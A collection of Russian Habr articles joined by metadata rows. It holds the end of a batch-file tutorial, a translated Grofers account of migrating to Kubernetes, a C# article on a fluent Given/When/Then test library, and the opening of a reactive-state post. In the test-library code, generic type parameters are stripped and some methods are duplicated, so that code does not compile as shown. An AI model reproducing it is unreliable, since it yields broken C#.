echo – команда, выводящая в окно командной строки какой-то текст, так же вывод команды можно перенаправить в файл используя оператор >>. В нашем случае этой командой имена компьютеров с (не)успешной установкой заносятся в файлы логов install-bad.txt и install-good.txt.
rmdir /s /q \\%%i\c$\Windows\Temp\Chrome - действие этой команды обратно mkdir, т.е. она удалит ранее созданный нами каталог Chrome на пользовательском ПК, тем самым наведёт порядок и не оставит лишних установочных файлов забивающих собой дисковое пространство.
pause – просто оставит висеть окно командной строки, и не даст ему закрыться автоматически после завершения работы нашего скрипта.
Как видите, всё просто.
Дополнительно про типы инсталляторов и ключи тихой установки [можно почитать тут](https://tiflohelp.ru/articles/klyuchi-tihoj-ustanovki.html).
Про тонкости работы команды [xcopy тут](https://ab57.ru/cmdlist/xcopy.html).
Попробуйте написать самостоятельно скрипт для установки 7-zip.
Если остались вопросы с удовольствием отвечу на них в комментариях. | https://habr.com/ru/post/676064/ | null | ru | null |
# Выводы Grofers после двух лет Kubernetes в production
***Прим. перев.**: эта статья — опыт миграции на Kubernetes одного из крупнейших в Индии онлайн-магазинов продуктов. В ней Vaidik Kapoor, software engineer из Grofers, рассказывает о главных ошибках и препятствиях этого долгого путешествия, а также делится своими мыслями о целесообразности и плюсах подобного переезда в целом.*
Почти два года назад мы решили отказаться от развертывания приложений на EC2 с конфигурациями, управляемыми через Ansible, и перейти к контейнеризации и оркестровке приложений с помощью Kubernetes. За это время б*о*льшую часть инфраструктуры уже перенесли в Kubernetes. Миграция была сопряжена со своими вызовами: от технических, связанных с необходимостью обеспечивать работу гибридной инфраструктуры до завершения миграции, до обучения всей команды совершенно новой парадигме работы.
В данной публикации я хочу поразмышлять о полученном опыте и поделиться уроками, извлеченными из него. Надеюсь, это поможет вам принимать более взвешенные решения и повысит шансы на успех в аналогичных затеях.
Четко представляйте себе причины перехода на Kubernetes
-------------------------------------------------------
Все эти serverless-штуки и контейнеры — это, конечно, хорошо. Если вы запускаете новый бизнес и все начинаете с нуля, рекомендую идти именно по такому пути. Развертывайте приложения в контейнерах и дирижируйте ими с помощью Kubernetes, если располагаете достаточной пропускной способностью (или даже не располагаете — читайте об этом дальше) и имеете технические навыки, позволяющие конфигурировать и эксплуатировать Kubernetes, а также деплоить приложения.
Впрочем, даже если вы отдадите эксплуатацию на откуп одному из managed-решений вроде EKS, GKE или AKS, процесс деплоя и эксплуатации самих приложений все равно потребует специального обучения. И ваши разработчики должны быть к этому готовы. Многие преимущества станут доступны, только если команда следует философии DevOps. Если в вашей компании созданием манифестов для приложений, разработанных другими командами, занимается выделенная группа сисадминов, то преимущества Kubernetes, с точки зрения DevOps'а, будут менее очевидны. Хотя, конечно, у K8s есть множество других плюсов — например, сокращение издержек, простота в проведении экспериментов, быстрое автомасштабирование, устойчивость и т.д.
Если вы уже деплоите в облачные виртуальные машины или, возможно, в другую PaaS, зачем вам мигрировать в Kubernetes с существующей архитектуры? Уверены ли вы в том, что Kubernetes — единственный способ решить все проблемы? Вы должны ясно представлять себе все мотивы и предпосылки, поскольку перенос существующей архитектуры в Kubernetes — масштабная задача.
Мы и сами совершили несколько ошибок в этом смысле. В нашем случае главной причиной перехода на Kubernetes было желание построить инфраструктуру для непрерывной интеграции. Она была призвана помочь быстро перестроить микросервисы, накопившие массу архитектурных долгов за все эти годы. Практически весь новый функционал требовал внесения изменений во множество кодовых баз, и разработка/их совместное тестирование сильно бы замедлили работу. Мы чувствовали необходимость предоставить для каждого разработчика и каждого изменения интегрированную среду, которая ускорила бы циклы разработки и тестирования без необходимости координировать, кто и когда получит доступ к «общему stage-окружению».

*Один из наших CI-пайплайнов. Он запускает новую интегрированную среду со всеми микросервисами и проводит автоматизированные тесты.*
Мы добились больших успехов в этом направлении. Сегодня интегрированная среда с 21 микросервисом запускается в Kubernetes всего за 8 минут. Любой разработчик может воспользоваться нашим доморощенным инструментом для ее создания. Мы также выделяем подмножество этого окружения для каждого pull request'а, созданного для любого из двух десятков микросервисов. Полный цикл тестирования (подготовка среды и запуск тестов) занимает менее 12 минут. На первый взгляд, это ужасно долго. Но такой подход позволяет нам не отправлять плохие решения в тот архитектурный хаос, в котором мы сейчас пребываем.

*Отчет о выполнении конвейера непрерывной интеграции*
### Класс! Сколько времени все это заняло? На это ушло почти полтора года. Стоило ли оно того?
У нас ушло почти полтора года, чтобы стабилизировать эту непростую CI-конфигурацию. Для этого мы разработали новые инструменты, телеметрию и переосмыслили способы деплоя каждого приложения. Ради соблюдения паритета между dev и prod нам также приходилось деплоить все эти микросервисы и в production, иначе разница между конфигурациями в бою и для деплоя изрядно усложнила бы для разработчиков понимание ситуации и превратила бы эксплуатацию в сущий кошмар.
У нас смешанные чувства по этому поводу. Если оглянуться назад, то кажется, что мы только усугубили проблему поиска лучшего решения для CI, поскольку сложность выката всех микросервисов в production ради паритета dev/prod сделала нашу задачу по ускорению сборки в рамках CI гораздо более многогранной и сложной. До Kubernetes мы использовали связку Ansible + Consul от Hashicorp + Vault для подготовки инфраструктуры, управления конфигурациями и развертывания. Занимало ли это много времени? Да, безусловно. Но service discovery можно было бы реализовать и с помощью Consul и оптимизированных конфигураций Ansible, тем самым подобравшись к цели гораздо быстрее.
Стоило ли нам мигрировать на Kubernetes? Да, безусловно. Использование Kubernetes обеспечивает массу преимуществ: обнаружение сервисов, лучшее управление издержками, надежность, управляемость, абстрагирование от облачной инфраструктуры и др. И сегодня мы в полной мере пользуемся этими преимуществами. Но это не было нашей главной целью, когда мы только начинали. Боль и давление, не дававшие нам покоя в процессе реализации задуманного, пожалуй, можно было избежать.
Значимым озарением для нас стало то, что существовал другой, менее напряженный путь к Kubernetes. Просто с самого начала мы решили, что Kubernetes — это единственное возможное решение, и даже не попытались оценить другие варианты.
Далее мы увидим, что миграция и эксплуатация в Kubernetes сильно отличаются от деплоя в облачные VM или в bare-metal-серверы. Командам облачного инжиниринга/разработки приходится переучиваться. Вероятно, это идет им только на пользу. Но вопрос в том, стоит ли это делать прямо сейчас. Вы должны для себя однозначно ответить на этот вопрос.
Kubernetes'а «из коробки» почти всегда недостаточно
---------------------------------------------------
Многие путают Kubernetes с PaaS-решением. Это не PaaS-решение! Это платформа для создания PaaS-решений. [OpenShift](https://www.openshift.com/) — один из таких примеров.
Коробочная версия Kubernetes мало кого устроит. Это отличная песочница, чтобы учиться и исследовать. Но вам наверняка понадобятся дополнительные инфраструктурные компоненты и придется связать их воедино в решение для приложений, чтобы разработчики смогли им пользоваться. Часто подобную сборку Kubernetes c дополнительными инфраструктурными компонентами и политиками называют [Internal Kubernetes Platform](https://itnext.io/why-everyone-builds-internal-kubernetes-platforms-284c2cf76226) (внутренней Kubernetes-платформой). Это исключительно полезная парадигма. Дополнить Kubernetes можно [несколькими путями](https://speakerdeck.com/gianarb/cloud-native-ambassador-day-extending-kubernetes).
Придется подумать и принять решение о таких вещах, как метрики, логи, обнаружение сервисов, распределенная трассировка, управление конфигурациями и секретами, CI/CD, локальная разработка, автомасштабирование, привязанное к кастомным метрикам. И этот перечень далеко не полон. Наверняка придется принять множество других решений и настроить массу инфраструктурных компонентов. Также придется подумать о такой важной области, как работа с ресурсами и манифестами Kubernetes (подробнее об этом ниже).
Вот некоторые из наших решений и мотивы, лежащие в их основе.
### Метрики
Мы остановились на Prometheus. Сегодня он является фактическим стандартом для сбора метрик. Его очень любят CNCF и разработчики Kubernetes. И он отлично вписался в экосистему Grafana. А мы обожаем Grafana! Единственная проблема — мы использовали InfluxDB. Но мы решили отказаться от InfluxDB и сфокусироваться на Prometheus.
### Логи
Логи всегда были нашей большой проблемой. У нас так и не получилось создать стабильную платформу для логов на стеке ELK. Да, в ELK масса всевозможных функций, но наша команда ими не пользуется. А все эти функции имеют свою цену. Также мы считаем, что использованию Elasticsearch для логирования изначально присущи трудности, которые делают его дорогостоящим решением. В итоге мы остановились на [Loki от Grafana](https://grafana.com/oss/loki/). Эта система проста и понятна, обладает всеми возможностями, нужными нашей команде. Также Loki чрезвычайно выгодна с экономической точки зрения. Но самое главное — это шикарный UX, ставший возможным благодаря языку запросов, сильно похожему на PromQL. И да, Loki отлично работает вместе с Grafana. Таким образом, мы соединили весь мониторинг метрик и логирование в одном пользовательском интерфейсе.

*Пример панели мониторинга Grafana с визуализацией метрик и соответствующими логами*
### Управление конфигурациями и секретами
В большинстве статей про Kubernetes используются ConfigMap’ы и секреты. Этого хватает для начала, но, по опыту, недостаточно для *наших* сценариев использования. ConfigMap для существующих сервисов приводит к определенным издержкам. Работу с ConfigMap'ом в pod'ах можно организовать определенным образом — обычно это делают с помощью переменных окружения. Если у вас куча старых микросервисов, которые считывают конфигурацию из файлов, сгенерированных инструментом для управления конфигурациями вроде Puppet, Chef или Ansible, придется переделать работу с конфигурацией во всех кодовых базах, чтобы микросервисы могли использовать переменные окружения для получения конфигурационных данных. Мы не нашли достаточно причин, чтобы привнести такие изменения там, где это не имело смысла. Кроме того, изменение конфигурации или секрета означает, что придется провести редеплой deployment'а с соответствующим исправлением. Это будет дополнительная императивная оркестровка команд kubectl…

*Схема от Asif Jamal*
Чтобы избежать всего этого, мы решили использовать Consul, Vault и Consul Template для управления конфигурациями. Consul Template запускается как init-контейнер, а в будущем планируется запускать его как sidecar к pod'ам, чтобы он следил за изменениями конфигурации в Consul и обновлял секреты с истекающим сроком действия в Vault и мягко *(gracefully)* перезапускал процессы приложений.
### CI/CD
До миграции в Kubernetes мы использовали Jenkins. После миграции мы решили остаться на нем. Пока *наш* опыт показывает, что Jenkins — не самое лучшее решение для работы с cloud-native-инфраструктурой. Мы оказались в ситуации, когда приходилось организовывать массу доделок на базе Python, Bash, Docker и скриптовые/декларативные пайплайны Jenkins, чтобы все завелось. Со временем разработка этих инструментов/пайплайнов и их обслуживание начали негативно сказываться на расходах. В настоящее время мы изучаем возможность использования [Tekton](https://tekton.dev/) и [Argo Workflows](https://argoproj.github.io/) в качестве новой CI/CD-платформы. При этом в области CI/CD существует и масса других инструментов, достойных изучения — [Jenkins X](https://jenkins-x.io/), [Screwdriver](https://screwdriver.cd/), [Keptn](https://keptn.sh/) и т.д.
### Удобство для разработчиков
Встроить Kubernetes в workflow разработки можно разными способами. Мы ограничились двумя вариантами: [Telepresence.io](http://telepresence.io/) и [Skaffold](https://skaffold.dev/). Skaffold может отслеживать локальные изменения и развертывать их в кластер Kubernetes *(см. также [наш обзор](https://habr.com/ru/company/flant/blog/474692/) этой утилиты — прим. перев.)*. С другой стороны, Telepresence позволяет запускать сервис локально, попутно организуя прозрачный сетевой прокси в кластер K8s *([обзор Telepresence](https://habr.com/ru/company/flant/blog/446788/) — прим. перев.)*. Таким образом, локальный сервис имеет возможность взаимодействовать с сервисами в Kubernetes так, словно он развернут в кластере. Конечно, здесь стоит вопрос убеждений и личных предпочтений.
Было сложно остановиться на одном из инструментов. Пока мы преимущественно экспериментируем с Telepresence, но и не отказываемся от мысли, что Skaffold может оказаться более подходящим инструментом в нашем случае. Только время покажет, на чем мы остановимся в конечном итоге (или будем продолжать использовать оба инструмента). Есть и другие решения. В частности, упоминания заслуживает проект [Draft](https://draft.sh/).
*(Прим. перев.: проект Draft уже долго время не развивается, [его репозиторий](https://github.com/Azure/draft) помещен в архив. А вот в новой версии [werf](https://ru.werf.io/) — v1.2 — как раз появилась возможность локальной разработки, что позволяет легко интегрировать этот процесс с полноценным деплоем в Kubernetes.)*
### Распределенная трассировка
Пока мы не проводим распределенную трассировку, но в скором времени планируем вплотную ею заняться. Как и в случае логирования, хочется, чтобы результаты распределенной трассировки [можно было посмотреть прямо в Grafana, рядом с метриками и логами](https://grafana.com/blog/2020/05/22/new-in-grafana-7.0-trace-viewer-and-integrations-with-jaeger-and-zipkin/). Тем самым мы обеспечим более интегрированную наблюдаемость для разработчиков.
### Упаковка, развертывание приложений и инструментарий
При работе с Kubernetes важно понимать, как разработчики будут взаимодействовать с кластером и развертывать свои рабочие нагрузки. Нужно, чтобы процесс был простым и легко масштабировался, поэтому мы склоняемся в сторону [Kustomize](https://github.com/kubernetes-sigs/kustomize) и [Skaffold](https://skaffold.dev/), а также к нашим собственным CRD как к способу деплоя и управления приложениями для разработчиков. При этом любая команда может использовать инструменты по своему желанию для взаимодействия с кластером (конечно, если они имеют открытый исходный код и построены на открытых стандартах).
Эксплуатировать кластер Kubernetes сложно
-----------------------------------------
Мы преимущественно работаем в сингапурском регионе AWS. Когда только начинали переход на Kubernetes, EKS не был доступен в качестве сервиса в сингапурском регионе. Поэтому нам пришлось самостоятельно устанавливать кластер K8s с помощью [kops](https://github.com/kubernetes/kops).
Установка базового кластера, пожалуй, не так сложна. Мы смогли запустить свой первый работающий кластер в течение недели. Но основные проблемы возникают, когда вы приступаете к деплою рабочих нагрузок. Начиная от настройки кластерного автоскейлера до выделения ресурсов в подходящее время и правильной настройки сети — все приходится исследовать и конфигурировать вручную. Настройки по умолчанию не работают в большинстве случаев (ну, или они не работали для нас тогда) для production.
*Опытным путем мы установили, что эксплуатировать Kubernetes непросто. В нем много движущихся частей. А изучение всех этих нюансов вряд ли является основной целью вашей компании. Поэтому максимально перекладывайте подобные задачи на плечи поставщиков облачных услуг (EKS, GKE, AKS). Нет никакого смысла заниматься этим самостоятельно.*
### Все равно приходится заботиться об обновлениях
Kubernetes настолько сложен, что даже если вы пользуетесь услугой managed Kubernetes, над обновлениями все равно придется попотеть.
*Даже при использовании managed Kubernetes не забывайте про инфраструктуру как код. Этот подход позволит сделать процесс аварийного восстановления и обновления менее болезненным в будущем и ускорит восстановление в случае сбоев.*
Также вы можете попробовать GitOps, если есть желание. Если это по каким-то причинам не реально, постарайтесь свести к минимуму этапы, на которых приходится все делать вручную. Мы используем комбинацию eksctl, terraform и собственных манифестов для конфигурации кластера (включая манифесты для платформенных сервисов) для организации того, что гордо величаем «Grofers Kubernetes Platform». Чтобы сделать процесс установки и деплоя более простым и повторяемым, мы разработали автоматизированный пайплайн для создания новых кластеров и деплоя изменений в существующие.
Ресурсы: request'ы и limit'ы
----------------------------
Приступив к миграции, мы столкнулись со множеством проблем с производительностью и функциональностью в кластере из-за неправильной конфигурации. Одним из последствий было добавление значительных буферов в request'ы и limit'ы ресурсов, чтобы исключить их недостаток как возможный повод для снижения производительности.
В частности, из-за недостатка памяти на узлах случился eviction *(«вытеснение»)* pod'ов. Причиной тому были непропорционально высокие limit'ы по сравнению с их request'ами на ресурсы. С ростом трафика повышение потребления памяти могло приводить с насыщению памяти на узлах, что в дальнейшем приводило к вытеснению pod'ов.
*Поэтому мы стали указывать достаточно высокие запросы на ресурсы, но не слишком высокие, чтобы в периоды низкой нагрузки не тратить ресурсы впустую. Также мы сделали лимиты близкими к запросам на ресурсы, чтобы обеспечить некоторый запас на случай кратковременных всплесков трафика и не рисковать выселением pod'ов из-за недостатка памяти на узлах. Степень близости лимитов к запросам зависит от того, как именно у вас распределен трафик во времени.*
Это не относится к не-production средам, таким как development, staging и CI. Такие окружения не испытывают всплесков трафика. Теоретически можно запустить бесконечное количество контейнеров, если установить CPU requests на 0 и установить достаточно высокий CPU limit для контейнеров. Если контейнеры начнут активно использовать CPU, они просто [столкнутся с троттлингом](https://lambda.grofers.com/cpu-throttling-in-kubernetes-a-postmortem-b9b433d24b03) *(мы переводили [другой материал](https://habr.com/ru/company/flant/blog/489668/) на эту тему — прим. перев.)*.
То же самое можно сделать с request'ами и limit'ами на память. Однако поведение при достижении ограничений по памяти отличается от поведения при нехватке CPU. При попытке использовать больше памяти, чем установленный limit, контейнер будет убит из-за OOM и перезапущен. Если лимит памяти ненормально высок (скажем, больше, чем имеется на узле), можно продолжать использовать память, но рано или поздно планировщик начнет вытеснять pod'ы, когда память на узле начнет подходить к концу.
*В non-production мы спокойно выделяем как можно больше ресурсов, указывая минимальные request'ы и максимальные limit'ы. В этом случае ограничивающим фактором выступает память: независимо от того, насколько низкий request и высокий limit, вытеснение pod'ов зависит от суммарной памяти, используемой всеми контейнерами, запланированными на узле.*
Безопасность и управление
-------------------------
Kubernetes призван «открыть» облачную платформу для разработчиков и сделать их более независимыми, попутно продвигая культуру DevOps. Такая доступность платформы для разработчиков, сокращение вмешательства со стороны команд облачных инженеров (или сисадминов) и повышение независимости dev-команд должны стать одной из ключевых целей [внедрения Kubernetes].
Иногда эта независимость может представлять серьезную опасность. Например, при использовании сервиса типа LoadBalancer в EKS по умолчанию создается ELB, обращенный в публичную сеть. Добавление определенной аннотации позволит использовать внутренний ELB. В самом начале мы допустили массу подобных ошибок.
Для снижения всех видов рисков безопасности мы используем [Open Policy Agent](https://www.openpolicyagent.org/). Также он позволяет снизить стоимость и сократить риски, связанные с техническим долгом.
Развертывание [Open Policy Agent](https://www.openpolicyagent.org/) позволило организовать правильные элементы управления и помогло автоматизировать весь процесс управления изменениями. Кроме того, он позволил разработать соответствующие механизмы безопасности для разработчиков. Благодаря Open Policy Agent теперь можно запрещать сценарии, подобные упомянутому выше: например, организовать запрет на создание сервисных объектов без соответствующей аннотации (то есть разработчики не смогут случайно запустить публичный ELB).
Стоимость
---------
Миграция позволила нам значительно снизить издержки. Однако финансовая выгода пришла не сразу.
### Более эффективное использование имеющихся ресурсов
Это, пожалуй, самое очевидное. Сегодня инфраструктура требует гораздо меньше вычислительных мощностей, памяти и дискового пространства, чем раньше. Помимо более эффективного использования мощностей за счет лучшей упаковки контейнеров/процессов, мы также смогли повысить эффективность использования общих сервисов (вроде тех, которые используются для повышения наблюдаемости: метрики, логи).
При этом изначально во время миграции мы тратили впустую огромные ресурсы. Из-за неспособности настроить self-managed-кластер Kubernetes и кучи проблем с производительностью, вызванной этим, приходилось запрашивать массу ресурсов в pod'ах. Их избыток служил буфером и чем-то вроде страховки от сбоев и проблем с производительностью из-за недостатка вычислительной мощности или памяти.
*Высокие инфраструктурные издержки из-за избытка ресурсов стали серьезной проблемой. Мы так и не смогли воспользоваться преимуществами при использовании мощностей, предлагаемыми Kubernetes (хотя должны были). Только перейдя на EKS и убедившись в стабильности, которую он обеспечил, мы поверили в себя и предприняли необходимые шаги для исправления request'ов на ресурсы, кардинально сократив объем невостребованных ресурсов.*
### Spot
Использовать spot-инстансы с Kubernetes гораздо проще, чем с обычными виртуальными машинами. В случае VM можно самостоятельно управлять spot-инстансами, при этом определенные трудности связаны с обеспечением бесперебойной работы приложений (также можно использовать сервис вроде SpotInst). То же самое справедливо для Kubernetes, но свойственная ему эффективность использования ресурсов позволяет создать некий буфер. В этом случае, если несколько инстансов в кластере прекратят работать, контейнеры с них будут быстро перепланированы в другое место. Существует несколько способов эффективной обработки отключений инстансов.
Spot-инстансы помогли нам существенно сэкономить. Сегодня весь stage-кластер работает на spot-инстансах и 99% production-кластера покрыты резервными экземплярами, сберегательным планом и spot'ами.
Следующий этап оптимизации — перевести весь production-кластер на spot-инстансы. Подробнее об этом поговорим в другой публикации.
### Консолидация ELB
Ingress использовался для консолидации ELB в stage-окружении и значительного снижения расходов на ELB. Чтобы избежать несоответствия между кодом dev и prod, мы решили создать [контроллер](https://kubernetes.io/docs/concepts/architecture/controller/), который будет преобразовывать сервисы типа LoadBalancer в NodePort вместе с ingress-объектом в stage-кластере.
Благодаря идее с контроллером миграция на Nginx ingress оказалась относительно простой и не потребовала внесения серьезных изменений. Дополнительные средства можно сэкономить, если использовать ingress и в production. Хотя этот переход нельзя назвать простым. Для правильной настройки ingress для production следует учитывать множество моментов, в том числе в области безопасности и работы с API. Этим мы планируем заняться в ближайшем будущем.
### Возросшие потоки данных между зонами доступности
Мы сэкономили много денег на инфраструктуре, но в одной области расходы выросли — это потоки данных между зонами доступности (AZ).
Pod'ы могут быть запланированы на любом узле. Даже если вы контролируете размещение pod'ов в своем кластере, нет простого способа контролировать межсервисное взаимодействие, чтобы pod одного сервиса связывался с pod'ом другого сервиса в той же AZ (тем самым сокращая потоки данных между AZ).
После долгих исследований и консультаций с коллегами из других компаний пришли к выводу, что помочь проконтролировать движение трафика между pod'ами может service mesh. Однако мы не были готовы повесить на себя сложность эксплуатации service mesh исключительно ради сокращения издержек на передачу данных между AZ.
CRD, операторы и контроллеры — шаг к упрощению эксплуатации и более интегрированному опыту
------------------------------------------------------------------------------------------
У каждой организации имеются свои рабочие процессы и эксплуатационные задачи. Это справедливо и в нашем случае.
За два года работы с Kubernetes мы поняли, что K8s — это здорово, но настоящий его потенциал проявляется тогда, когда вы используете такие компоненты, как контроллеры, операторы и CRD для упрощения повседневных задач и обеспечения более интегрированной среды для разработчиков.
Поэтому мы начали работать над различными контроллерами и CRD. Например, как уже говорилось, конверсия LoadBalancer'а в ingress выполняется контроллером. Также контроллеры автоматически создают записи CNAME у DNS-провайдера всякий раз, когда деплоится новый сервис. Это лишь несколько примеров. У нас есть еще пять других случаев использования, в которых внутренние контроллеры упрощают повседневные операции и сокращают трудозатрат.
Мы также написали несколько CRD. Один из них активно используется для генерации панелей мониторинга в Grafana, декларативно указывая, какие компоненты должны включаться в каждую из панелей. В результате разработчики получили возможность параллельно работать с кодовой базой приложения и панелями мониторинга, а деплоить все с помощью одного и того же рабочего процесса на основе `kubectl apply -f`.
Мы на своем опыте убедились в несомненных преимуществах контроллеров и CRD. Тесное сотрудничество с поставщиком облачных услуг (AWS) в деле упрощения эксплуатации кластерной инфраструктуры позволяет сосредоточиться над созданием собственной «Kubernetes-платформы», нацеленной на максимальную поддержку своих разработчиков.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Наши выводы за год миграции GitLab.com на Kubernetes](https://habr.com/ru/company/flant/blog/520150/)»;
* «[3 года с Kubernetes в production: вот что мы поняли](https://habr.com/ru/company/flant/blog/519962/)»;
* «[10 типичных ошибок при использовании Kubernetes](https://habr.com/ru/company/flant/blog/504396/)»;
* «[Переход Tinder на Kubernetes](https://habr.com/ru/company/flant/blog/440278/)». | https://habr.com/ru/post/533736/ | null | ru | null |
# Сверхлегкая BDD: малая механизация автономных тестов
Тема автономного тестирования давняя, почтенная, разобранная до косточек. Кажется, что после отличной [книги Роя Ошероува](http://www.ozon.ru/context/detail/id/26230428/) и сказать особо нечего. Но на мой взгляд есть некоторая несбалансированность доступных инструментов. С одной стороны монстры вроде [SpecFlow](http://www.specflow.org/), с огромным оверхедом ради возможности писать тесты-спецификации на квази-естественном языке, с другой — челябинская суровость фреймворков старой школы вроде [NUnit](http://www.nunit.org/). Чего не хватает? Инструмента для лаконичной, выразительной, легко читаемой записи тестов, по удобству и ортогональности аналогичного библиотекам для создания подделок, таких как [FakeItEasy](https://fakeiteasy.github.io/), или проверки утверждений вроде [FluentAssertion](http://www.fluentassertions.com/).
В настоящий момент я пытаюсь создать такой инструмент.
BDD из топора
=============
Вот так выглядит типичный тест с использованием моей микробиблиотеки:
```
[Test]
public void GivenSelfUsableWhenDisposeThenValueShouldBeDisposed()
{
Given(A.Fake().ToUsable()).
When(\_ => \_.Dispose()).
Then(\_ => \_.Value.ShouldBeDisposed());
}
```
Также задействованы библиотеки FakeItEasy и FluentAssertions, но не как зависимости, а каждая для решения своих задач (подделки и проверка утверждений).
Эквивалентный код в стиле старой школы:
```
[Test]
public void GivenSelfUsableWhenDisposeThenValueShouldBeDisposed()
{
// Arrange
var usable = A.Fake().ToUsable();
// Act
usable.Dispose();
// Assert
usable.Value.ShouldBeDisposed();
}
```
Поддержка моков
===============
Но это еще не все. Допустим, у нас есть мок — подделка, для которой после выполнения тестового сценария мы делаем проверку утверждений. По Ошероуву таких должно быть не больше одного на тест.
Код в новом стиле:
```
[Test]
public void GivenNeutralUsableWhenDisposeThenValueShouldBeNotDisposed()
{
Given(A.Fake()).
And(mock => mock.ToNeutralUsable()).
When(\_ => \_.Dispose()).
ThenMock(\_ => \_.ShouldBeNotDisposed());
}
```
С помощью метода And результат предыдущего Given фиксируется как мок, а тестовым объектом становится результат работы делегата. Это логично, так как мок используется в тестируемом объекте и его естественно создавать раньше.
Часто утверждения включают в себя и мок, и тестируемый объект. Такой вариант тоже поддерживается:
```
[Test]
public void GivenObjectWhenToUsableThenValueShouldBeSameAsObject()
{
Given(A.Fake()).
And(mock => mock.ToUsable(A.Dummy())).
When(\_ => \_).
Then((\_, mock) => \_.Value.Should().Be.SameAs(mock));
}
```
Поддержка исключений
====================
Очень часто тест, в котором проверяемое утверждение включает выброс исключения выглядит очень громоздко и нечитаемо на фоне "чистых" вариантов. Новый подход позволяет проверять исключения и лаконично, и стилистически единообразно с "гладкими" тестами.
```
[Test]
public void GivenUsableWhenDisposeTwiceThenShouldBeException()
{
Given(A.Fake()).
And(mock => A.Dummy().ToUsable(mock)).
When(\_ => \_.Dispose()).
And(\_ => \_.Dispose()).
ThenCatch(e => e.Should().Be.OfType());
}
```
Кроме того, в этом коде видна...
Поддержка дополнительных действий и утверждений.
================================================
С помощью метода расширения And можно добавить дополнительные действия и проверки утверждений (выполняются в порядке записи вызовов метода). Это позволяет удобно структурировать код тестов.
Секретный ингредиент
====================
Топором в микробиблиотеке работает вот такой класс:
```
public abstract class GivenWhenThenBase
{
internal GivenWhenThenBase(T result, TMock mock)
{
Result = result;
Mock = mock;
}
internal T Result { get; set; }
internal TMock Mock { get; }
}
```
Отдельным этапам тестирования соответствуют его наследники
```
public sealed class GivenResult : GivenWhenThenBase
{
internal GivenResult(T result, TMock mock) : base(result, mock) {}
}
public sealed class WhenResult : GivenWhenThenBase
{
internal WhenResult(T result, TMock mock, Exception e = null) : base(result, mock)
{
Exception = e;
}
internal Exception Exception { get; set; }
}
public sealed class ThenResult : GivenWhenThenBase
{
internal ThenResult(T result, TMock mock, Exception e = null) : base(result, mock)
{
Exception = e;
}
internal Exception Exception { get; set; }
}
```
Наследование реализации спроектировано в соответствии с рекомендациями из [моей предыдущей статьи](https://habrahabr.ru/post/310314/).
Приправы
========
Вся видимая магия реализована в LINQ-стиле с помощью обобщенных методов расширения.
1. Создание теcтируемого объекта (и мока)
```
public static GivenResult Given(T result) =>
new GivenResult(result, null);
```
```
public static GivenResult And(this GivenResult givenResult, Func and) =>
new GivenResult(and(givenResult.Result), givenResult.Result);
```
2. Прогон тестового сценария
```
public static WhenResult When(this GivenResult givenResult, Func when)
{
try
{
return new WhenResult(when(givenResult.Result), givenResult.Mock);
}
catch (Exception e)
{
return new WhenResult(default(TResult), givenResult.Mock, e);
}
}
```
```
public static WhenResult And(this WhenResult whenResult, Func and)
{
if (whenResult.Exception != null)
return new WhenResult(default(TResult), whenResult.Mock, whenResult.Exception);
try
{
return new WhenResult(and(whenResult.Result, whenResult.Mock), whenResult.Mock);
}
catch (Exception e)
{
return new WhenResult(default(TResult), whenResult.Mock, e);
}
}
```
```
public static WhenResult When(this GivenResult givenResult, Action when)
{
return givenResult.When(o =>
{
when(o);
return o;
});
}
```
```
public static WhenResult And(this WhenResult whenResult, Action and)
{
return whenResult.And((o, m) =>
{
and(o, m);
return o;
});
}
```
3. Проверка утверждений:
```
public static ThenResult Then(this WhenResult whenResult, Action then)
{
then(whenResult.Result, whenResult.Mock, whenResult.Exception);
return new ThenResult(whenResult.Result, whenResult.Mock, whenResult.Exception);
}
```
```
public static ThenResult Then(this WhenResult whenResult, Action then)
{
return whenResult.Then((r, m, e) =>
{
e.Should().Be.Null();
then(r, m);
});
}
```
```
public static ThenResult ThenMock(this WhenResult whenResult, Action then)
{
return whenResult.Then((r, m, e) =>
{
e.Should().Be.Null();
then(m);
});
}
```
```
public static ThenResult Then(this WhenResult whenResult, Action then)
{
return whenResult.Then((r, m, e) =>
{
e.Should().Be.Null();
then(r, m);
});
}
```
```
public static ThenResult ThenCatch(this WhenResult whenResult, Action then)
{
return whenResult.Then((r, m, e) =>
{
e.Should().Not.Be.Null();
then(e);
});
}
```
Подопытный кролик
=================
В примерах кода испытаниям на прочность подвергался класс из моей статьи [Disposable без границ](https://habrahabr.ru/post/272497/) и несколько методов расширения. На данный момент класс переименован из Disposable в Usable во избежании коллизий имен с повсеместно используемым паттерном.
```
public sealed class Usable : IDisposable
{
internal Usable(T resource, IDisposable usageTime)
{
\_usageTime = usageTime;
Value = resource;
}
public void Dispose() => \_usageTime.Dispose();
public T Value { get; }
private readonly IDisposable \_usageTime;
}
```
```
public static class UsableExtensions
{
public static Usable ToUsable(this T resource, IDisposable usageTime) =>
new Usable(resource, usageTime);
public static Usable ToUsable(this T resource) where T : IDisposable =>
resource.ToUsable(resource);
public static Usable ToNeutralUsable(this T resource) =>
resource.ToUsable(Disposable.Empty);
}
```
Итоги
=====
Плюшки нового подхода по сравнению со старой школой:
1. Код вместо комментариев
2. То, что понимает и контролирует компилятор, приближено к тому что понимает и контролирует человек.
3. Лучше и лаконичность, и выразительность, и читаемость.
4. Повторяющиеся действия выделяются в отдельные методы легко и приятно.
5. В едином стиле с обычными тестами поддержано использование моков и утверждений для выброшенных исключений
Плюшки по сравнению с высокоуровневыми BDD-фреймворками:
1. В разы меньше церемоний и многословия.
2. Ортогональность по отношению к другим библиотекам, облегчающим тестирование.
3. Язык тестов — обычный C#, поддержанный всей мощью студии и армией разработчиков.
Дополнения и критика традиционно приветствуются. | https://habr.com/ru/post/310942/ | null | ru | null |
# Как я написал самую эффективную библиотеку для реактивного состояния
[](https://habr.com/ru/company/ruvds/blog/713808/)
Всем привет, меня зовут Артём Арутюнян, и я уже пять лет изучаю реактивное программирование. Меня задела недавняя статья, [Big State Managers Benchmark](https://habr.com/ru/post/707600/), в которой моя библиотека Reatom заняла лишь третье место (скорее второе, ну да ладно) и я решил написать самую эффективную реализацию реактивных состояний, убрав лишние фичи, сфокусировавшись на простоте и производительности.
Немного поэкспериментировав я добился удивительных результатов, в сто строк (0.3KB gzip) уместив максимально простое апи, которое позволяет подключаться к React и Svelte без дополнительных адаптеров. Но самое главное, найденный алгоритм фундаментально покрывает любые краевые случаи условных переподписок зависимых вычислений, с которыми подавляющее большинство популярных библиотек не справляется и дают глитчи.
